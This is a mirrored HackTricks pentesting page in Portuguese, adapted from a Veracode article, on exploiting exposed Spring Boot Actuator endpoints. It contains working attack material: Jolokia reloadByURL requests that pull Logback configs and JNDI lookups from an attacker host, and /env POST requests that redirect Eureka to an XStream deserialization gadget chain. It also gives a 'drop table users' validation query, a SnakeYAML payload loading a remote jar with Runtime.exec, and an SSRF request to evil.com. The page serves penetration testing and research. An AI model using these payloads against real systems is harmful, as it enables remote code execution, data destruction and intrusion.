Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-11 05:42:56 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

19 KiB
Raw Blame History

Spring Actuators

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Spring Auth Bypass

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Explorando Spring Boot Actuators

copiado de https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

O Framework Spring Boot inclui uma série de recursos chamados actuators para ajudá-lo a monitorar e gerenciar sua aplicação web quando você a coloca em produção. Destinados a serem usados para auditoria, saúde e coleta de métricas, eles também podem abrir uma porta oculta para o seu servidor quando mal configurados.

Quando uma aplicação Spring Boot está em execução, ela automaticamente registra vários endpoints (como '/health', '/trace', '/beans', '/env', etc) no processo de roteamento. Para o Spring Boot 1 - 1.4, eles são acessíveis sem autenticação, causando problemas significativos com segurança. A partir da versão 1.5 do Spring, todos os endpoints, exceto '/health' e '/info', são considerados sensíveis e protegidos por padrão, mas essa segurança é frequentemente desativada pelos desenvolvedores da aplicação.

Os seguintes endpoints do Actuator podem potencialmente ter implicações de segurança levando a possíveis vulnerabilidades:

  • /dump - exibe um dump de threads (incluindo um rastreamento de pilha)
  • /trace - exibe as últimas mensagens HTTP (que podem incluir identificadores de sessão)
  • /logfile - exibe o conteúdo do arquivo de log
  • /shutdown - desliga a aplicação
  • /mappings - mostra todos os mapeamentos do controlador MVC
  • /env - fornece acesso ao ambiente de configuração
  • /actuator/env
  • /restart - reinicia a aplicação
  • /heapdump - Constrói e retorna um dump de heap da JVM usada pela nossa aplicação

Para o Spring 1x, eles são registrados sob a URL raiz, e no 2x eles foram movidos para o caminho base "/actuator/".

Exploração:

A maioria dos actuators suporta apenas solicitações GET e simplesmente revela dados de configuração sensíveis, mas vários deles são particularmente interessantes para caçadores de shell:

1. Execução Remota de Código via '/jolokia'

Se a Biblioteca Jolokia está no classpath da aplicação alvo, ela é automaticamente exposta pelo Spring Boot sob o endpoint do actuator '/jolokia'. Jolokia permite acesso HTTP a todos os MBeans registrados e é projetado para realizar as mesmas operações que você pode executar com JMX. É possível listar todas as ações dos MBeans disponíveis usando a URL:

http://127.0.0.1:8090/jolokia/list

Novamente, a maioria das ações dos MBeans apenas revela alguns dados do sistema, mas uma é particularmente interessante:

reloadByURL

A ação 'reloadByURL', fornecida pela biblioteca Logback, nos permite recarregar a configuração de log de uma URL externa. Pode ser acionada simplesmente navegando para:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

Então, por que deveríamos nos preocupar com a configuração de log? Principalmente por duas coisas:

  1. A configuração tem um formato XML, e claro, o Logback a analisa com Entidades Externas habilitadas, portanto é vulnerável a XXE cego.
  2. A configuração do Logback tem o recurso 'Obtendo variáveis do JNDI'. No arquivo XML, podemos incluir uma tag como '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' e o atributo name será passado para o método DirContext.lookup(). Se pudermos fornecer um nome arbitrário para a função .lookup(), nem precisamos de XXE ou HeapDump porque isso nos dá uma Execução Remota de Código completa.

Como funciona:

1. Um atacante solicita a URL mencionada para executar a função 'reloadByURL', fornecida pela classe 'qos.logback.classic.jmx.JMXConfigurator'.

2. A função 'reloadByURL' baixa uma nova configuração de http://artsploit.com/logback.xml e a analisa como uma configuração Logback. Esta configuração maliciosa deve ter o seguinte conteúdo:

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. Quando esse arquivo é processado no servidor vulnerável, ele cria uma conexão com o servidor LDAP controlado pelo atacante especificado no valor do parâmetro "env-entry-name", o que leva à resolução JNDI. O servidor LDAP malicioso pode retornar um objeto do tipo 'Reference' para acionar uma execução do bytecode fornecido na aplicação alvo. Ataques JNDI são bem explicados neste artigo de pesquisa da MicroFocus. A nova técnica de exploração JNDI (descrita anteriormente em nosso blog) também funciona aqui, já que o Tomcat é o servidor de aplicação padrão no Spring Boot Framework.

2. Modificação de configuração via '/env'

Se as Bibliotecas Spring Cloud estão no classpath, o endpoint '/env' permite modificar as propriedades ambientais do Spring. Todos os beans anotados como '@ConfigurationProperties' podem ser modificados e reassociados. Muitas, mas não todas, propriedades que podemos controlar estão listadas no endpoint do atuador '/configprops'. Na verdade, há toneladas delas, mas absolutamente não está claro o que precisamos modificar para alcançar algo. Depois de passar alguns dias brincando com elas, descobrimos isso:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

Esta propriedade modifica o serviceURL do Eureka para um valor arbitrário. O Eureka Server é normalmente utilizado como um servidor de descoberta, e quase todas as aplicações Spring Cloud se registram nele e enviam atualizações de status. Se tiver sorte de ter Eureka-Client <1.8.7 no classpath do alvo (normalmente incluído no Spring Cloud Netflix), você pode explorar a vulnerabilidade de deserialização XStream nele. Tudo o que precisa fazer é definir a propriedade 'eureka.client.serviceUrl.defaultZone' para a URL do seu servidor ( http://artsploit.com/n/xstream) através de '/env' e depois chamar o endpoint '/refresh'. Após isso, o seu servidor deve servir o payload XStream com o seguinte conteúdo:

<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Este payload XStream é uma versão ligeiramente modificada da cadeia de gadgets ImageIO JDK-only do Marshalsec research. A única diferença aqui é o uso de LinkedHashSet para acionar o método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. O payload original utiliza java.lang.Map para alcançar o mesmo comportamento, mas a configuração XStream do Eureka tem um conversor personalizado para mapas que o torna inutilizável. O payload acima não usa Maps de forma alguma e pode ser usado para alcançar Execução Remota de Código sem restrições adicionais.

Usando Spring Actuators, você pode realmente explorar essa vulnerabilidade mesmo que não tenha acesso a um servidor Eureka interno; você só precisa de um ponto de extremidade "/env" disponível.

Outras configurações úteis:

spring.datasource.tomcat.validationQuery=drop+table+users - permite especificar qualquer consulta SQL, e ela será automaticamente executada contra o banco de dados atual. Pode ser qualquer instrução, incluindo insert, update ou delete.

Explorando Spring Boot Actuators Drop Table

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - permite modificar a string de conexão JDBC atual.

A última parece ótima, mas o problema é quando a aplicação que executa a conexão com o banco de dados já está estabelecida, apenas atualizar a string JDBC não tem efeito. Felizmente, há outra propriedade que pode nos ajudar neste caso:

spring.datasource.tomcat.max-active=777

O truque que podemos usar aqui é aumentar o número de conexões simultâneas ao banco de dados. Assim, podemos alterar a string de conexão JDBC, aumentar o número de conexões e, após isso, enviar muitas solicitações à aplicação para simular uma carga pesada. Sob a carga, a aplicação criará uma nova conexão com o banco de dados com a string JDBC maliciosa atualizada. Testei esta técnica localmente contra o Mysql e funciona perfeitamente.

Explorando Spring Boot Actuators Max Active

Além disso, há outras propriedades que parecem interessantes, mas, na prática, não são realmente úteis:

spring.datasource.url - string de conexão com o banco de dados (usada apenas para a primeira conexão)

spring.datasource.jndiName - string JNDI de bancos de dados (usada apenas para a primeira conexão)

spring.datasource.tomcat.dataSourceJNDI - string JNDI de bancos de dados (não usada de todo)

spring.cloud.config.uri=http://artsploit.com/ - URL de configuração do spring cloud (não tem efeito após o início do app, apenas os valores iniciais são usados.)

Essas propriedades não têm efeito a menos que o ponto de extremidade '/restart' seja chamado. Este ponto de extremidade reinicia todos os ApplicationContext, mas está desativado por padrão.

Há muitas outras propriedades interessantes, mas a maioria delas não tem efeito imediato após a mudança.

N.B. No Spring Boot 2x, o formato de solicitação para modificar propriedades via o ponto de extremidade '/env' é ligeiramente diferente (usa formato json), mas a ideia é a mesma.

Um exemplo do aplicativo vulnerável:

Se você quiser testar essa vulnerabilidade localmente, criei um aplicativo simples Spring Boot na minha página do Github. Todos os payloads devem funcionar lá, exceto pelas configurações do banco de dados (a menos que você o configure).

Descoberta de caixa preta:

Uma lista completa de actuators padrão pode ser encontrada aqui: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Tenha em mente que os desenvolvedores de aplicativos podem criar seus próprios pontos de extremidade usando a anotação @Endpoint.

Atualização de maio de 2019:

Há uma maneira mais confiável de alcançar RCE por meio de uma modificação das propriedades ambientais do Spring:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

Esta solicitação modifica a propriedade 'spring.cloud.bootstrap.location', que é usada para carregar configurações externas e analisá-las no formato YAML. Para que isso ocorra, também precisamos chamar o endpoint '/refresh'.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Quando a configuração YAML é obtida do servidor remoto, ela é analisada com a biblioteca SnakeYAML, que também é suscetível a ataques de deserialização. O payload (yaml-payload.yml) pode ser gerado usando a pesquisa Marshalsec mencionada:

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

A deserialização deste arquivo aciona a execução do construtor do 'ScriptEngineManager' com o 'URLClassLoader' fornecido. Resumidamente, isso leva ao método 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', que tenta encontrar todas as implementações da interface 'ScriptEngineFactory' em todas as bibliotecas no classpath. Como podemos adicionar uma nova biblioteca via 'URLClassLoader', podemos servir uma nova 'ScriptEngineFactory' com o bytecode malicioso dentro. Para fazer isso, precisamos criar um arquivo jar com os seguintes arquivos obrigatórios: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class deve conter o bytecode real, com o payload malicioso no construtor.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) deve ser apenas um arquivo de texto contendo uma referência completa para 'artsploit.AwesomeScriptEngineFactory', para que o ServiceLoader saiba onde encontrar a classe: **artsploit.AwesomeScriptEngineFactory** Novamente, esta técnica de exploração requer que o spring cloud esteja no classpath, mas, em comparação com o payload XStream do Eureka, funciona até na versão mais recente. Você pode encontrar o payload completo no meu projeto do github: [yaml-payload](https://github.com/artsploit/yaml-payload).

## Env + H2 RCE

Veja esta página para descobrir como explorar a combinação /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)

## SSRF no Spring Boot Através de Interpretação Incorreta do Caminho <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>

[**Desta pesquisa**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): O framework Spring aceita o caractere separador de parâmetros de matriz `;` antes da primeira barra do caminho HTTP:

GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close

Em um cenário como o seguinte:

Considerando que o Spring permite qualquer caractere após o separador de parâmetros Matrix, torna-se possível usar o caractere @ para buscar um endpoint arbitrário também.

Abaixo está um exemplo da requisição de exploração:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Mais Informações

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: